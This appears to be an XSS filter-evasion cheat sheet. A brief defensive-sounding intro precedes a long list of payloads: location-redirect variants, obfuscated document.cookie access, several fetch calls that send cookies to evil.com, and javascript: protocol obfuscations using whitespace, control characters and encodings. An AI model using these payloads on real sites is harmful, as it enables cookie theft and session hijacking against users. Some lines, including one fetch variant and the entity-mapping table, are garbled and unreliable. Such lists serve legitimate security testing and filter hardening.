This article dives into the sophisticated realm of Cross-Site Scripting (XSS) attacks, specifically focusing on bypassing security filters that are designed to thwart these intrusions.
It showcases a wide array of techniques and strategies for evading detection, from manipulating document properties to exploiting character encoding vulnerabilities.
Through detailed examples, it aims to equip developers and security professionals with the knowledge to recognize and defend against these complex XSS vulnerabilities.
document.location=
document['location']=
window.location=
this["window"]["location"]=
document.location.href=
location.href=
location=
window.location.assign()
window['location']['href']=
document.location.replace()
window.open("link", "_blank");
//google.com/?=a
//134744072:1234/?a= (decimal ip)
document.cookie
document['cookie']
with(document)alert(cookie)
doc\u0075ment.cookie
doc\u0075ment['cookie']
window["doc"+"ument"]["cookie"]
fetch("//evil.com/?c="+document.cookie)
fetch("//evil.com/?c=".concat(document.cookie))
fetch("//evil.com/?c=", document.cookie].join())
fetch(`//evil.com/?c=${document.cookie}`)
<!--javascript -->
javascript:alert(1)
JaVaScript:alert(1)
ja	vascript:alert(1)
java\tscript:alert(1)
ja
vascript:alert(1)
ja
vascript:alert(1)
javascript:alert()
javascript:alert('XSS')
# tab (0x9), newline (0xa) and carriage return (0xd) allowed (inside or after the protocol)
ja
vascript:alert(1) # New line
jav asc ript :alert(1) # Tab
# Special Characters before the protocol (Raw or encode)
# \x01-\x20 are allowed - Somes Example :
http://www.unicode-symbol.com/u/0017.html
http://www.unicode-symbol.com/u/0008.html
javascript:alert('Successful XSS') # ETB HTML
javascript:alert(1) # Backspace HTML
# colon
javascript:alert()
javascript:alert()
javascript:alert(1)
javascript:alert()
# javascript://
javascript://%0Aalert(1)
javascript://%0Dalert(1)
# target="_blank"
- Scroll Click
- Shift + Click
- Ctrl + Click
# alert
javascript:alert()
javascript:alert``
javascript:alert%60%60
javascript:x='%27-alert(1)-%27';
javascript:%61%6c%65%72%74%28%29
#JS unicode
javascript:a\u006Cert``"
javascript:\u0061\u006C\u0065\u0072\u0074``
' -> '
" -> "
` -> `
` -> `
( -> (
) -> )
{ -> {
} -> }
& -> &
< -> <
> -> >
\n -> 

\t -> 	
nbsp ->
\ -> \
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